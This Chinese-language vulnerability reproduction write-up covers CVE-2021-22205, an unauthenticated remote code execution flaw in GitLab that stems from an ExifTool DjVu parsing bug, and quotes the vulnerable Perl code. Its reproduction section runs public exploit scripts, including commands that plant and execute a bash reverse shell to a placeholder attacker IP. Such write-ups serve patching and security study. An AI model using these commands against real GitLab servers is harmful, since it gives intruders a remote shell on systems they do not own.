CVE-2021-22205 GitLab未授权RCE复现
文章最后更新时间为:2021年11月18日 14:58:47
1. 漏洞描述和原理
当GitLab中的ExifTool处理图像文件时,会检查文件扩展名是否为jpg、jpeg、tiff,符合条件的文件会交由ExifTool进行处理。但ExifTool会尝试通过文件内容确定文件格式,当其解析DjVu文件注释时,tok将被转换为 C 转义序列。攻击者可以在DjVu文件中插入恶意perl代码,并将其扩展名改为jpg、jpeg或tiffd以绕过GitLab中的检查,从而在ExifTool中触发漏洞,最终在GitLab CE/EE服务器上远程执行代码。
此漏洞源于Exiftool自身的另一个漏洞CVE-2021-22204。
在ExifTool的DjVu模块的ParseAnt方法中使用了$tok = eval qq{"$tok"};
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
在特殊情况下,这个tok参数是从图像中获取到的,于是我们可以造出这么一个图像,插入代码,实现rce。但是具体图像怎么生成,可以参考文章:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
利用CVE-2021-22204,我们可以在上传图片的接口实现rce,但是上传图片需要授权,也就是需要注册成一个用户。而CVE-2021-22205就是解决了授权问题,gitlab为了支持电子邮件中图片的显示,图片的上传和显示是不需要授权的,也就是利用/uploads/user
接口上传图片,无需授权。
2. 影响版本
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3
3. 漏洞复现
首先访问登录页面,获取Cookie
和csrf-token
GET /users/sign_in HTTP/1.1
Host: git.xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
然后上传制造好的图片,实现rce
反弹shell:
使用了 https://github.com/Seals6/CVE-2021-22205
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
也可以使用 https://github.com/Al1ex/CVE-2021-22205
python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1' > /tmp/abc.sh"
python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "chmod +x /tmp/abc.sh"
python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "/bin/bash /tmp/abc.sh"
4. 漏洞修复
目前GitLab官方已发布修复版本:https://about.gitlab.com/update/